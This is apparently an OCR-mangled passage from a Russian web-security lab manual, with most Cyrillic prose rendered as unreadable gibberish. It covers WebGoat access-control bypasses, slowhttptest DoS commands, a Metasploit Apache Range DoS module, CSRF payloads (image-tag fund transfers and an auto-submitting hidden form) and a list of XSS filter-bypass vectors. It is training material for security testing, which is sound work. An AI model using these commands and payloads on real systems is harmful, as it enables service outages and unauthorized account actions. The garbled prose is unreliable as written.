U TPOU3BOJIbHBIA, HO HENMpPaBWJIbHBIA Napoib. B 000oux ciiydasx JOJKHO OBITh
BBIBEJICHO OJIHO U TO ke cooOuienne 00 omuoke Buaa «Omuodka B UMEHH MTOJIL30BaTEIIS
WJIM HEeBEpHBINA napoiby. Taxke o06a HT TP-oTBeTa n0mKHBI COBNAaaTh ¢ TOUHOCTHIO 710
M3MEHSAEMbIX MapaMeTpoB U OBITH MOJYYEHBI 32 OJHO U TO XK€ BpeMs. B mpoTuBHOM
clyyae BeO-IpUJIOKEHUE UMEET CKpPBITBIA KaHan  (Opakys), MO3BOJISFOUIUN



UJIEHTU(UIUPOBATH €0 MOJIH30BATENICH.

[[Tar 6. IlpoBeputrh BO3MOXKHOCTh peEAIM3ALMKM aTaKW N0AOOpa MapoJis
nojp3oBarens. Bectn uMms mosib3oBaTenss. BBECTM HECKOJIBKO pa3 HEMPaBUIbHBIN
naposib (5 - 10 pa3). [locne 3TOro BBECTH MPABHIBHBINA MApOJIb JUISL 3TOM YYETHOM
3anucy. BBecTn oMHAKOBBINM TAPOJTb JJIsl pA3HBIX YYETHBIX 3anuced (st 5 - 10).

[IpoBepuTh BO3ZMOXKHOCTH JOCTYNA K BEO-TIPIIIOKEHUIO. BIIOKMpOBaHWe ydeTHBIX
3amuceil MoJb30BaTEeNsl IMOCHE HECKOJbKMX HEYJAYHBIX TOMBITOK BXOJa CO3/1aeT
ycioBue miig peannzanuu D0OS-ataku U HE JOJDKHO MCIOJIB30BATHCS B MEXaHU3MaxX
3alllUThl OT arak mnoabopa mapoisied. BmecTto 3Toro HEOOXOAUMO HCIOJIb30BAThH
BO3pacCTalOle BPEMEHHBIE 3aJ€P>KKH WIIM CPEICTBA aHTU-aBTOMATHU3AIlMU (HapuMmep,
CAPTCHA).

[Iar 7. IIpoBepuThb, YTO YYBCTBUTEIBHBIM KOHTEHT (HANpUMEp, CTPAHUIIBI C
BBEJCHHBIMU HOMEpPaMM KpPEIWTHBIX KapT, CYETOB, aJPECOB) HE IOCTYNEH uepe3
MexaHu3M History BeO-Opay3epa, a Takke He KIIIMpyeTcs WM. BOWTH TOJ yYeTHOM
3aMUChIO MOJB30BATENS, IEPEUTH HA CTPAHUILY C YYBCTBUTEIIBHBIM KOHTEHTOM. BBecTu
HOBBIC JaHHbBIC. Brritn u3 mpuiokenus. Haxare xHonky «Backy. Ilonp3oBarens He
JOJDKEH MMETh BO3MOXXHOCTH  BBITIOJIHATH HOBBIE 3ampochl (IIpU  KOPPEKTHOM
peanu3aluu yrpaBlieHHs ceccusiMu). Eciiu mpu 3TOM MOJb30BaTEN0 JOCTYIHBI paHee
3ampaiinBaeMble CTPAHUIIBI, TO ATO O3HAYAET, YTO CEpBEpPHAs YacTh BEO-TIPUIIOKEHUS
HE 3anpeTuia BeO-0Opay3epy COXpaHATh JaHHBIE B UICTOPUHU.

3anpeleHne KIUUPOBaHUS —ompeaensercs Hamuuuem HTTP-  3aronmoBkos
Pragma, Cache-Control u EXpires co cieayromuMu peKOMEHI0BaHHBIMU 3HAYCHUSIMHU:

Pragma: no-cache

Cache-Control: no-cache, no-store, must-revalidate,

max-age=0

Expires: -1

[ar 8. 3amyctuth BeO-mpuoxkenue Web Goat. Beectu norun: «guest», mapods:
«guesty.

[Mepeiitu mo ccwiike «Access Control Flaws —— Bypass a Path Based Access
Controly. M3yuuts ycrmoBus 3amaun. Mcnonw3ys FireBug (wimm aro00i aHaIOTHMYHBINA
UHCTPYMEHT), U3MeHHUTH 3HaueHue AccessControlMatrix.html ua ../../main.jsp. Haxatsb
kHOTIKY «View Filey.

[Mepetiti mo ceoiike «LAB: Role Based Access Control —

Stage 1». Uzyunts ycnoBus 3amauu. Boiitu mon monbs3oBarenem 10M (Tapods:
Tom). MoHO BHAETDH, YTO OT IOJb30BaTeNs CKphiTa KHOmKa «DeleteProfile», tak kak
OH HE JI0OJDKEH MMETh BO3MOYKHOCTH yIajsATh ydeTHbIe 3anucu. Haxars kHoOmKy «View
Profile». B Burp Suite npocmotpets 3anpoc. Mcnons3ys FireBug (naum moboit anaso-
TUYHBIN UTHCTPYMEHT), u3MeHuTh HTML-pa3mety, 3aMeHUB d71eMEHT

<input type="submit" value="ViewProfile"

name="action">

Ha AJIEMEHT

<input type="submit" value="DeleteProfile"

name="action">

Haxate xHomky «DeleteProfile». IlpocmoTpeTs oTmpaBieHHsIid 3ampoc B Burp



Suite. ITpodwts onabp30BaTeNs OyaeT yaaleH.

OmnnumonansHO pemwmth 3anaay «LAB: Role Based Access

Control —— Stage 2».

[MepetitTi o cceuike «LAB: Role Based Access Control —

Stage 3». U3yuuts ycioBus 3amaun. Boiitu moa moms3oBaTesneM 10M (maposb:
Tom). Haxates kHomky «View Profile». B Burp Suite mpocmorpers 3ampoc. MoKHO
BHUJICTh, YTO IOJIL30BATEIIO JOCTYIHBI JaHHbIe cBoero npodwmist. Mcmonssys FireBug
(wnm J1F000M aHAOTUYHBIN UHCTPYMEHT), n3MeHuTh HTML-pa3Mery, 3aMeHUB 3JIeMEHT

<option value="105" selected="">Tom Cat

(employee)</option>

Ha DJIEMEHT

<option value="103" selected="">Tom Cat

(employee)</option>

Haxate kHOmKy «ViewProfile». IIpocmoTpers oTmpamieHHBIH 3ampoc B Burp
Suite. BynyTt BeIBeieHBI JaHHBIC Ipod I Toap3oBatenst Curly Stooge.

OmnmmonansHO pemmth 3a1auy «LAB: Role Based Access Control ~ Stage 4».

[Tepeiitn 1o cceuike «Remote admin accessy. M3yunTh yCIIOBUS 3ajiadym.
[Mpocmotpers  moamentro  «Admin  Functions».  Ilepeiitu 1O  CCBUIKE
WebGoat/attack?Screen=86&menu=200&admin=true. [TpocMoTpeTh TIOJIMEHIO
«Admin Functionsy.

Bonpocs! u 3aganus

— M3yunTh pexkoMeHJAaUM K 3allUIIEHHOM peanu3alMi MeXaHU3Ma
XpaHeHus: mnapoJiei. MccinemoBaTe MeXaHM3M BOCCTAaHOBIICHUS MapoJieu
BBIOPAHHOTO BEO-TIPHIIOKECHUSI.

— HccnenoBath MUHUMAIIBHO JOMYCTHUMYIO JJIMHY U CIOKHOCTH Taposieid B
MIPOM3BOJIBHBIX MATU BeO-TipusioxkeHusx u3 peiituara ALEXA TOP 100.

— MHccnenoBath HaMuMe OpPaKyJIOB B MEXaHU3MaX ayTeHTU(DUKAIUU
MIPOM3BOJIBHBIX MATU BeO-TipusioxkeHusx u3 peiituara ALEXA TOP 100.

3. JlabopaTtopHasi padorta «TecTupoBaHue HA YCTOHYHBOCTh K aTaKam
0TKa3a B 00CIy:KUBAHUN»

TectupoBaHue Ha yCTOMYMUBOCTH K aTakaM OTKa3a B 00CITy>KUBaHUU

[enb paboThI

[lenpto mabopaTtopHOl pabOTHI SBJISIETCS OOYyYEHHME METOJaM M CPEICTBaM
TECTUPOBAHUSI BEO-TIPUIIOKEHU HAa YCTOWYMBOCTH K aTakaM OTKa3a B OOCITYKHMBaHUH
(DoS-artakam).

KpaTkue TeopeTrnueckre CBEICHHUs

Henpto peanmuzanuu DO0S-ataku sBisieTcs HapylleHHWE JOCTYINHOCTH BeO-
OPWIOXKEHUA. DTO MOXKET ObITh JocTUrHyTO nyTreM Do0S-ataku Ha kaHanm cCBA3W,
MporpamMMHYI0 TuTaTGopMy BeO-cepBepa WM Ha caMO BEO-TIPHIIOKEHHE.

Tpamgummonno DoOS-ataku ABIAIOTCS CETEBBIMH  (UCIOJIB3YIOT HEIOCTATKU
CETEBBIX TEXHOJOTUH) M MOTYT OBITh KIACCU(PUIUPOBAHBI IO YPOBHSIM MOJEIH

ISO/OSI. Hampumep, araku ICMP Flood (L3) u DNS/NTP Amplification (L7)



MPHUBOJIAT K OTKa3y KaHaia cBs3M, a ataku Ping of Death (L3), SYN Flood (L4), SSL
Renegotiation DoS (L5/L6), HTTP Flood (L7), Slow HTTP (L7) Bo3aeiicTByIoT Ha
mwiatgopmy BeO-TpUIOKEHUS (OmepalnroHHas cucreMa, BeO-cepBep, (PpIUMBOPK H
T.1.).

Jlnst mocTuKeHUsT OTKa3a B OOCTY>KMBAaHMM C TIOMOIIBIO aTaK MPHUKIATHOTO
ypoBHs (L7) arakyromeMy MOXKET MOTPeOOBAThCS CYIISCTBEHHO MEHBIIEE KOJUIESCTBO
pecypcoB. Hanpumep, ecim it yenemno# peanusanus atraku SYN Flood ona nomkHa
ObITh pacrpenencuaHorr (DDOS) u ucmonbp3oBaTh OOTHET, TO I pealld3allMK aTak
kiaacca Slow HTTP DoS (Slowloris, Slow HTTP Post, Slow HTTP Read) oGwruno
J0CTATOYHO OJHOrO Kommbiorepa [10 - 13].

Bmecte ¢ TeM sl BeO-IPHIIOKEHMI Takke xapakTepHbl DO0OS-ataku ypoBHA
NIPUIIOKEHUS, BO3MOXKHBIC M3-3a HaIW4Ws Ys3BUMoOcTel B ero koxae [9]. Hampumep,
BO3MOXKHOCTh TIpoBeZicHWsT araku Tmma SQL  injection  MoOXeT TMO3BOJHUTH
3JIOYMBINIUICHHUKY yAQJIATh 0a3y JaHHBIX ¢ YUETHBIMH 3alHCSIMU IOJIh30BaTEICH WITH
BBINIOJHUTE 3ampoc Buaa Select benchmark(100000000, now() ) mns m3pacxoIoBaHUS
peCypcoB CHUCTEMBI. Takke IMpUMEpaMH aTaK YPOBHS TMPUJIOKCHUS SBISIOTCS aTakKd
XML Billion Laughs (XML Bomb), XML Quadratic Blowup Attack, ZIP of Death (ZIP
Bomb).

[TocraHoBKa 3ama4n

BBIOTHUTE TECTHPOBaHUE YCTOMYMBOCTH BEO-TpriIoKeHMsT WWW. test. app. com
k DoS-arakam Ha ypoBHe npoTokosia HTTP.

[TocenoBaTenbHOCTD AEUCTBUAN

lar 1. VYcranoButs nporpammy slowhttptest, mocrymuyro mo URL Buna
https://code.google.com/p/slowhttptest. M3yuuts moxymeHTaruo0. 3amyCcTUTh CETEBOM
anaymzarop Wireshark.

[[lar 2. Ha TecroBOM CTeHIE, OHMyIUpylOIIeM paboTy BeO-cepBepa
WWwWw.test.app.Com, yCTaHOBUThH M BBITIOJHUTH 0a30BbIE HACTPOWKH I BEO-CEPBEPOB
Apache, Nginx u IIS. 3anyctuTh BeO-cepBep Apache.

Hlar 3. 3amycTuth B OTHOIIEHWM BeO-cepBepa ataky Slowloris, mpocmotpers
TPaCCUPOBKY COCJAMHCHHS, IIPOBEPUTH JOCTYIMHOCTH BeOcepBepa C TMOMOIIIBIO
IIPOM3BOJIBHOTO Opay3epa:

slowhttptest -H -c¢ 3000 -r 3000 -i 50 -1 6000 -u http://www.test.app.com

[IpoBecTH HECKOJBLKO TECTOB C pa3MUHbIMU mapaMmeTrpamu. [loctpouts rpaduku
COCTOSIHUS BeO-cepBepa.

[Ilar 4. 3anyctuth B OTHOIIEHHMH BeO-cepBepa araky Slow HTTP POST,
MPOCMOTPETh TPACCUPOBKY COCAMHEHUS, IMPOBEPHUTH JOCTYMHOCTh BeO-cepBepa ¢
MOMOIIIBIO TIPOU3BOJIBHOTO Opay3epa:

slowhttptest -B -c 3000 -r 3000 -i 50 -1 6000 -u http://www.test.app.com

[TpoBecTH HECKOJBLKO TECTOB C pa3IMYHBIMU mapaMmerpaMu. [loctpouts rpaduku
COCTOSIHUSI BeO-cepBepa.

[Ilar 5. 3amycTuth B OTHOIICHHH BeO-cepBepa ataky Slow Read, BeiOpaB (aiin
JOCTaTOYHOTO  pa3Mepa, MPOCMOTPETh TPACCHUPOBKY COCIWHEHUS, TPOBEPHUTH

JOCTYITHOCTh BeO-CcepBepa ¢ TOMOIIBI0 MPOU3BOILHOTO Opay3epa:
slowhttptest -X -c 3000 -r 3000 - 6000 -k 5 -n 50 -w 1 -y 2 -z 1 -u


https://code.google.com/p/slowhttptest
http://www.test.app.com/
http://www.test.app.com/
http://www.test.app.com/

http://www.test.app.com/bigauth.js

[TpoBecTn HECKOJIBKO TECTOB C pa3aUYHbIMH Mapamerpamu. [loctpouts rpadpuku
COCTOsIHHS BeO-cepBepa.

[Ilar 6. OcrtanoButh cepBep Apache. 3amyctuth cepBep NQInX. Ilpomenats
IpeIbIAYIIHNe [Iark B OTHOIIEHUH cepBepa Nginx.

[Tar 7. OcrtanoButh cepBep Nginx. 3amyctuth cepBep IIS. Ilponenats
npeabIAylMe mard B oTHoleHuu cepsepa I1IS.

[Ilar 8. B otHomenuu cepBepa Apache BoimonnuTh ataky Apache Range Header.
[Ipoananu3upoBath pe3ynbTaThl. BHITOIHUTH KOMaHIy

slowhttptest -R -u http://www.test.app.com -t GET -c 1000 -a 10 -b 3000 -r 500

Bemonuuts araky Apache Range Header ¢ wucmons3oBannem Metasploit
Framework:

# msfconsole

use auxiliary/dos/http/apache range dos

show options

set RHOSTS www.test.app.com

set RPORT 80

set RLIMIT 100

set THREADS 3

run

Borpocs! u 3ananus

Kak MOXHO 10 KOCBEHHBIM NpU3HAKAM OIPENEIUTh YS3BUMOCTh BeO-cepBepa K
arakam tuna Slow HTTP DoS?

Peanu3oBaTh MeXaHM3MBI 3aIUTHI i1 BeO-cepBepa Apache ot atak Slow HTTP
DoS.

PeanuzoBath M mpoTecTUpOBaTh BEO-NPUIIOKEHHE, ys3BUMoe K artake XML
Bomb.

[Touck ys3Bumocteit k atakam CSRF Llens paboTs

[lenbto nabopaTtopHOil pabOTHI ABJSIETCS OOy4YEHHME METOJlaM M CpeACTBaMm
UACHTU(DUKAIINY U SKCIUTyaTalluH ys3BUMOCTeH BeOmpunoxkeHuii k atakam CSRF.

KpaTkue TeopeTnueckue cBeICHUs

Ataka Cross-Site Request Forgery (CSRF wmmm XSRF) mepeBomutcs Kkak
«MexcaliToBast moajienka 3amnpocoBy» [14, 15]. Jlannasa ataka 3akiato4aeTcsi B TOM, YTO
3MIOYMBIIIUICHHUK ~ BBIHYXKJAeT Opay3ep TOJIb30BaTeNsl OTHpPaBUTh 0Oe€3 Bemoma
nocjeaHero npousBosibHbIN HT TP-3ampoc.

Vsa3Bumocte k arake CSRF oOycroBiena HemocTaTkaMu OTCYTCTBHUS WM
HEKOPPEKTHOCTH NIPOBEPKH BeO-MpHItokeHrueM nctodruka (0rigin) HT TP-3ampocos.

Kak mnpaBuno, araka mnpoBoauTcs B JnABa Jdrtana. Ha mnepBom »drame
3JIOYMBIIJICHHUK MOJTOTaBIMBAaET BeO-pecypc (OO Ha CBOeM COOCTBEHHOM CEpBeEpE,
100 Ha KaKOM-JIM00 GopyMe WK B COIMAILHOMN ceTH), coaepxkaniuit kogq HTML umu
JavaScript w BeIHYX#arommid  Opay3ep IOJB30BaTeNs  BBINOJHUTH  HYXKHBIH
3noymbinuieHHUKy HT TP-3ampoc.

Ha BTOopoM »sTame 370yMBIIUICHHUK BBIHYXAA€T OSKEPTBY 3aliTh Ha
MOJITOTOBJICHHBIN UM pecypc, NMepPeiaB €il CChUIKY C 3aBJIEKAIOIUM TeKCTOM. J[J1s 3TOro


http://www.test.app.com/bigauth.js
http://www.test.app.com/
http://www.test.app.com/

3JIOYMBIIIUICHHUK MOET BOCIIOJIb30BATHCSA COIMMATBHBIMUA CETSAMH, DJIICKTPOHHOMN
MOYTON WJIM CUCTEMaMHU OOMEHa MTHOBEHHBIMHU COOOIICHHSIMH, a TAK)KE MCIOJIb30BATh
METO/Ibl COIIMaIbHON MHXKEeHepUH. J[1s1 MaCKUPOBKH aJpeca BpeIOHOCHOTO BeOpecypca,
3JIOYMBIIUIEHHUK MOET BOCIOJb30BaThCAd cepBUcOM 1o  cokpameHuto URL
(mammpumep, goo.gl wm bit.ly).

PexomenayempiM oOmmm Metonom 3amuThl oT atak CSRF sBisercs meron
Synchronizer Token Pattern, ocoBanHbIi Ha HCIOJIB30BAHUE CIYYaHBIX TOKEHOB [15].
HepexomenayembiMu MeTogaMu 3amuThl oT aTak CSRF sBisroTcs:

npoBepka HTTP-3aronoska Referer;

npoBepka Hanuuus HT TP-3aromoska X-Requested-With;

UCIIOJIb30BAHUE JIOTIOJIHUTENbHBIX JIEUCTBUN MOJIB30BATENS JIs1 TOATBEPKICHUS;

UCcroap30Banue 3aronoska Cookie (meron 3amuTel «Double submit cookiesy);

OTMPaBKa HECKOJIBKUX 3aMPOCOB;

ucnonb3oBanue mertoxa POST.

[Ipu peammzamuu 3ammtel oT atak CSRF B mepByro odepens Tpedyercs
yOeIUTHCSI, 9TO TPWIOKEHUE HE COACPKHUT YSI3BUMOCTEH, IMO3BOJIIONIMX IMPOBECTH
ataky XSS, Tak Kak MOYTH Bce Mephl mpotuBozeiicTBus atakam CSRF moryt ObITH
MIPEOJIOJICHBI YepPe3 MCIOIB30BAHNE TAHHON YSI3BUMOCTH.

Kpome Toro, HeoOXOaWMO TMPOBEPUTH, YTO BCE JECUCTBUS, H3IMEHSIOIINE
COCTOSIHUE BEO-TIPUJIOKEHUS (IEHCTBUSI MO M3MEHEHHUIO WIH YAAICHHUIO Pa3IuYHbIX
00BEKTOB U T.II.), PEATM3YIOTCS TOJBKO ¢ Hcmojib3oBaHueM wmeroga POST (mu6o
o0brunbIil POST, mu6o POST yepes AJAX).

IToctanoBka 3agadyu

BrImoaHuTh HIeHTHU(GUKAIIAIO U KCILTyaTalluio ysa3BumocTei k atakam CSRF.

ITocnenoBaTeIbHOCTE AEHCTBUN

[ar 1. 3anyctute BeO-npuiiokenne WebGoat. BBectu norun: «guest», mapoiib:
«guesty. Ilepetitn no cceiike «Cross-Site Scripting — Cross-Site Request Forgery».
W3yuuth ycnoBus 3amaun. Bectu B mone «Titley 3nauenue «Helloy, a B mone
«Message» 3Hauenue «testy. Haxare kHOmKy «Submity. TIpocMoTpeTh ¢ mOMOIIIBIO
Burp Suite wim aHaOrMYHOTO CpeACTBa OTIPABICHHBINA Opay3epoM 3arpoc

Beectu B mone «Title» 3mauenue «Helloy, a B mome «Message» ciemyromimii
HTML-kox:

<img

src=http://localhost/WebGoat/attack?transferFunds=40 00>

[ar 2. ITepetitu mo cceuike «Cross-Site Scripting — CSRF Prompt By-Passy.
W3yunte ycnoBust 3amauu. Beectu B mone «Titley 3nauenwe «Hello», a B mome
«Message» crnenyrommiit HTML-ko:

<img

src="http://localhost/WebGoat/attack?transferFunds=4 000"
onerror="i1=document.createElement('img’);
11.src="http://localhost/\WWebGoat/attack?transferFund s=CONFIRM"'>

[ar 3. IlpoBepuTh yA3BUMOCTb BEO-TIpUIIONKEHUs WWW.app.test.com k aTakam
CSRF. Haiitu ¢yHKIHMIO, MEHSIOUIYIO COCTOSIHHE BEO-TIPHIIOKEHUS. BBIMOIHUTE 3Ty
¢ynkuuro. IIpocmorpers HTTP-3ampoc. Yamanute u3 Hero 3aronmoBku Referer m X-


http://localhost/WebGoat/attack?transferFunds=40
http://localhost/WebGoat/attack?transferFunds=4
http://localhost/WebGoat/attack?transferFund
http://www.app.test.com/

Requested- With (eciiu onn umerotcst). [IpoBepuTh, 4TO B 3aIIpOCE MCIIOIB3YETCS METOT
POST. I[IpoBeputh Hanmu4ume B 3ampoce mapamerpa, cooTBeTcTByromero CSRF-Tokeny
(on moxet HazwiBaThest CSRF_token, CSRFToken, authenticity _token). Ilpunoxenue
ysa3BuMoO K atake CSRF, ecnu ycmemHo BBITIONHEH OJWH W3 CIEAYIOIIMX TECTOB: —
3anpoc He conepkuT CSRF-TOkeHOB B CHENMaNbHBIX 3aroioBKax M MapaMeTpax
dopmsl, a 3aronoBku Referer u X-Requested-With moryt ObITh ymaneHbl U3 3ampocoB
0e3 HapyuieHus1 GyHKIIMOHATBLHOCTH MPUIIOKEHHUS,

3anpoc coaepkuT CSRF-TokeH, HO MOCJIeIHUM MOXKET OBITh YAaJIeH M3-3aIpoca
0e3 HapyuieHus1 QYHKIIMOHATLHOCTH MPUIIOKEHHUS;

3anpoc conepkuT CSRF-TokeH, HO 3HAaYEHUE MOCIETHErO0 MOXKET OBITh JTHOOBIM
WIH ITYCThIM;

CSRF-TokeH OJHOro TOJIb30BaTENsI MOXET OBbITh MCIOJB30BaH JIPYyTUM
MOJIb30BaTENEM;

CSRF-ToKeH sIBNIsieTCS PeCKa3yeMbIM;

npuioxenue oopadareiBaeT kak POST-3anmpock ¢ CSRF-Tokenamu, tak u GET-
3anpockl 6e3 CSRF-ToKeHOB;

cymectByer hard-coded CSRF-toxen mist otnanku u tectupoBanus. Ilar 4. K
oOHapykeHHOH ys3BUMOCTH K aTake CSRF Hammcath

sKCIUTONT. Hampumep, mycTh JUisl ynajneHus YYETHOM 3aluCHU HCIOJIb3YyeTCs
CJIEIYIOILIUHI 3a1mpoc:

POST /delete HTTP/1.1 Host: www.app.test.com

Cookie: JSESSIONID=KxwexXHKkDqgzObNrFnXZN19Lg \r\n

user=test&en=187213&pp=true

Ecnu nanneiit 3anpoc He cogepxkut CSRF-tokeHoB, To s skcrutyatanuu CSRF-
YSI3BUMOCTH MOXKHO Pa3MECTUTh Ha pecypce 3J0yMbIIUIeHHUKa ciaeayronuid HTML-
KOJI:

<html>

<body>

<form action="http://www.app.test.com/delete"

method=POST>

<input type="hidden" name="user" value="test"> <input type="hidden"
name="en" value="187213"> <input type="hidden" name="pp" value="true"> </form>

<script>document.forms[0].submit()</script>

</body>

</html>

[lepeiitn Ha BeO-pecypc B3JIOYMBIIUICHHUKA, YOEIUTHCS, YTO TOJJICTaHHBIHN
3ampoc OTIPaBIIAETCS U 00padaThIBACTCS MPUIOKEHUEM.

Bormpocs! 1 3ananus

Jlns  BeO-mpuiiokeHus, ysa3Bumoro k arake CSRF, Hamucath 5SKCIIIOHT,
OTIpaBJIsIONIMIA JaHHBIe THITa Multipart/form-data.

Jlnst BeO-nipUIIOKEeHHUS, YA3BUMOTO K aTake XSS, HamucaTh Ha s3bIke JavaScript
skcmout, n3Bnekaromuii CSRF-token.

[TokazaTh, Kak, HICTIONB3YA YI3BUMOCTh K aTake CSRF, MOKHO BBITIOJIHUTH aTaKy

XSS.


http://www.app.test.com/
http://www.app.test.com/delete

4. JlaGopaTopHasi padora «Ilonck ysa3BuMocTel K aTakam XSS»

[Touck ys3BuMOcCTel K aTakaM XSS

[{ens paboTh

[leapto maGopaTopHOW pPaOOTHI sIBISETCS OOy4YeHHE METOJaM M CpEeICTBaM
UACHTU(DUKAIINY U SKCIUTyaTalluH YSA3BUMOCTEN BeONPUIIOKEeHUH K aTakam XSS.

KpaTkue TeopeTnueckre CBeICHHUS

Ataxka Cross-Site Scripting (XSS) - »sro araka Ha BeO-IPHUIOKEHUE,
UCTIONB3YIONIasi HEJIOCTAaTKU HEMPaBIJIBHONM 0O0pabOTKM JaHHBIX U IO3BOJIAIOIIAS
BBIMOJIHUTH POM3BONIbHBIN clieHapuii (JavaScript, VBScript) B KOHTeKCTe HMCTOYHHMKA
(origin) ys13BUMOI0 BEOIIPUIOKEHHS.

Atakn XSS knaccHUIIUPYIOTCS 1O BEKTOPY M cmocoOy BozzaekcTBus. [lo
BEKTOpPY Bo3aeicTBUs ataku XSS OwiBaroT orpaxkeHHbiMu (reflected), ycroiuusbimu
(persistent) u ocHOBaHHBIMH Ha OOBEKTHOH Mojaenu aokymeHta (DOM-based). Ilo
BEKTOPY aTaku XSS AensaTcs Ha aKTUBHBIC U TTACCUBHEIE.

YcroitunBas ataka XSS - 310 XSS araka, B pe3yjbTare KOTOPOH BBEIECHHBIN
3TMOYMBIIUICHHUKOM KOJ] COXpaHseTCsl Ha BeO-cepBepe M BO3BPAIAETCs MOJIB30BATEINIO
B 3alPOCE HE COJEPIKAIIEM BEKTOP aTaKH.

Otpaxennas ataka XSS - XSS araka, B pe3yabTaTe KOTOPOW KO, BBEICHHBIN
3JI0YMBILIEHHUKOM, MIEPEaeTCs MOJIb30BaTEN0 B OTBETE HA TOT XK€ 3aIpOC, B KOTOPOM
nepeaH BEKTOp aTaKH.

Ataka XSS, naseiBactcss DOM-based, eciu Koj 3710yMBIIIIEHHAKA MOKET OBITh
BBIIIOJTHEH B Opays3epe mosb3oBarenss 0e3 OTIpaBKM 3ampoca Ha cepBep BeO-
MIPUIIOKEHUS.

B pesynprare ycmemHon peanm3anud aTtakd XSS 3J0YMBINIIICHHUK MOJXKET
BBITIOJTHUTb, HAIPUMEP, CIEAYIONTNE TCHCTBUS:

— TMepeHanpaBUTh MOJIL30BaTENs Ha JII000I BeO-CalT;

— TIONYYUTh ayTeHTU(UKAIMOHHBIC TAHHBIC TTOIH30BATENs, TIEPEIAIONINECS B
Cookie;

— TIONY4YUTh JI0ObIE JaHHBIC, K KOTOPBIM MMEET JOCTYI KIMEHTCKas 4acThb
BEO-TIPUIIOKEHUS;

— TIOJIYYHTh JIOCTYTI K BHYTPEHHEW CETH TMOJIb30BaTeIs;

— BbeImosHUTH Deface BeO-caiiTa u T.1.

B o06memupoBoii mpakTUKEe TECTHPOBAHUS 3aIIUIICHHOCTH BEOMPUIOKEHUN B
KauecTBe JIOKA3aTeNhCTBA YSI3BUMOCTH TPWIOKEHHS K arake XSS mnpuHATO
JIEMOHCTPUPOBATh BO3MOXHOCTh  BhIMOJHEHUs JavaScript-koma Buma  alert(1),
prompt(/XSS/), confirm(0) u .11

[Ipy TecTUpOBaHMM HAIWYUSL YSI3BUMOCTH K arakam XSS Ba)XHO OIpPEAeNATh
KOHTEKCT, B KOTOpBIM BBIBOASATCS JaHHble. CyIIECTBYIOT CICAYIOIIAE BHIIBI
koHnTekctoB: HTML, SCRIPT, STYLE, URL u arpubytssiii [16]. Huxe npuBeneHbl
npuMepbl XSS-BEKTOPOB JIJIs1 KAXKJOT0 U3 KOHTEKCTOB:

<hl1>Hello,<img/src=1 onerror=prompt(0)></h1> <script>var
name=";alert(1);";</script>

<a href="javascript:alert&Ipar;1lrpar;">ClickMe</a> <div class =
"onmouseover="alert(1); ">...</div>



<div syle="width : expre/**/ssion(alert(1)) ">...</div>

IlocTtanoBKa 3axaun

BrImoTHUTS HIEHTU(PHUKAIIAIO W SKCTUTyaTaIUIO YSI3BUMOCTEH K aTakam XSS.

[locnenoBaTenbHOCTD AEUCTBUI

Hlar 1. Ckauate o0paz «Web For Pentesters» ¢  Be0G-caiita
www.pentesterlab.com. Co3iate BUPTYaIbHYIO MaIIHHY.

3arpy3uThcs ¢ Aucka. B Opayszepe OTKpBhITh BEO-TIPUIIOKEHHUE.

[lar 2. ITepetitu mo ccoiake «XSS N Example 1y.

[Ipoananu3upoBath JOTUKY (GYHKIMOHUPOBAHUS BeO-TIpriioxkeHus. OnpeaenuThb
KOHTEKCT BO3MOKHOM aTaku XSS. B kauecTBe

MIEPEMEHHON NAME BBECTU BEKTOP

<script>alert(1)</script>

[Iar 3. ITepetiti mo ccpiike «XSS A Example 2».

[Ipoananu3upoBaTh JOTUKY (DYHKIIMOHUPOBAHUS BEO-TIpUiIoKeHUs. OnpeneauThb
KOHTEKCT BO3MOKHOU aTaku XSS. B kadecTBe

IIEPEMEHHON NAME BBECTU BEKTOP

<script>alert(1)</script>

Yoenutbes, 9To cioBo SCript punbTpyercs. BBectn BekTop

<ScRipT>alert(1)</sCrlpT>

[lar 4. Iepetiti o ccbuike «XSS A Example 3».

[Ipoananu3upoBath JOTUKY (GYHKIMOHUPOBAHUS BEO-TIpHiIoxkeHus. OnpeenuTh
KOHTEKCT BO3MOXKHOM aTtaku XSS. B kauectse

IIEPEMEHHON NAMe BBECTU BEKTOP

<script>alert(1)</script>

Yoenutbes, 4To CiI0BO <SCript> BrIpe3aetcs. BBecT BeKTOp

<scr<script>ipt>alert(1)</s</script>cript>

[lar 5. [Nepetiti o ccbutke «XSS N Example 4.

[Ipoananu3upoBaTh JOTUKY (YHKIIMOHUPOBAHUS BeO-TIpUiIokeHUs. OnpenenuThb
KOHTEKCT BO3MOXKHOU aTaku XSS. B kadecTBe

IIEPEMEHHON NAME BBECTU BEKTOP

<script>alert(1)</script>

YOenuThes, 4To ¢I0BO <SCript> BhIpe3aeTcs KOPPEeKTHO. BBecTH BekTOp

<img/src=1 onerror=alert(1)>

[Iar 6. Iepeiitu mo cchuike «XSS — Example 5».

[Ipoananu3upoBath JOTUKY (HYHKIIMOHUPOBAHHS BeO-TIprioxkeHusi. OnpeaenuThb
KOHTEKCT BO3MOXKHOM aTaku XSS. B kauecTBe nmepeMeHHO# NAMe BBECTH BEKTOPA

<script>alert(1)</script>

<img/src=1 onerror=alert(1)>

Yo6enuthes, uro cioBo alert Beipesaercst koppekTHo. BBecTn BekTopa

<img/src=1 onerror=\u0061alert(1)>

<img/src=1 onerror=prompt(1)>

<img src=1 onerror="t=/aler/.source%?2b/t(1)/.source; eval(t)">

Hlar 7. [epetiti o ccbutke «XSS — Example 6».

[Ipoananu3upoBath JOTUKY (HYHKIIMOHUPOBAHHS BeO-TIprioxkeHusi. OnpeaenuThb


http://www.pentesterlab.com/

KOHTEKCT BO3MOXKHOU aTtaku XSS. B kauectBe

IIEPEMEHHON NAME BBECTH BEKTOPA

"alert(1);"

</script><script>alert(1);//

[lar 8. [Nepetit mo cchutke «XSS — Example 7».

[Ipoananu3upoBath JOTUKY (GYHKIIMOHUPOBAHHS BeO-TIprioxkeHus. OnpeaenuThb
KOHTEKCT BO3MOKHOM aTaku XSS. B kauecTse

NIEPEMEHHOM NAMme BBECTH BEKTOP

".alert(1);"

Yoenutbces, uto cumBoa ' koaupyercs B HTML-cymnocts &quot. B kadectBe
nepemennoit name BBectu BektToplllar 9. Ilepeditn mo ceuike «XSS N Example 8».
[Ipoananu3upoBarh JIOTUKY (QYHKIIMOHMpPOBAHUSA BeO-npuiiokeHus. OrnpeaenuTb
KOHTEKCT BO3MOXKHOW aTaku XSS. BBoaumbie JaHHBIE KOAUPYIOTCS KOPPEKTHO.
N3menuts URL Ha crienyromimii:

xss/example8.php/*onsubmit="alert(1)

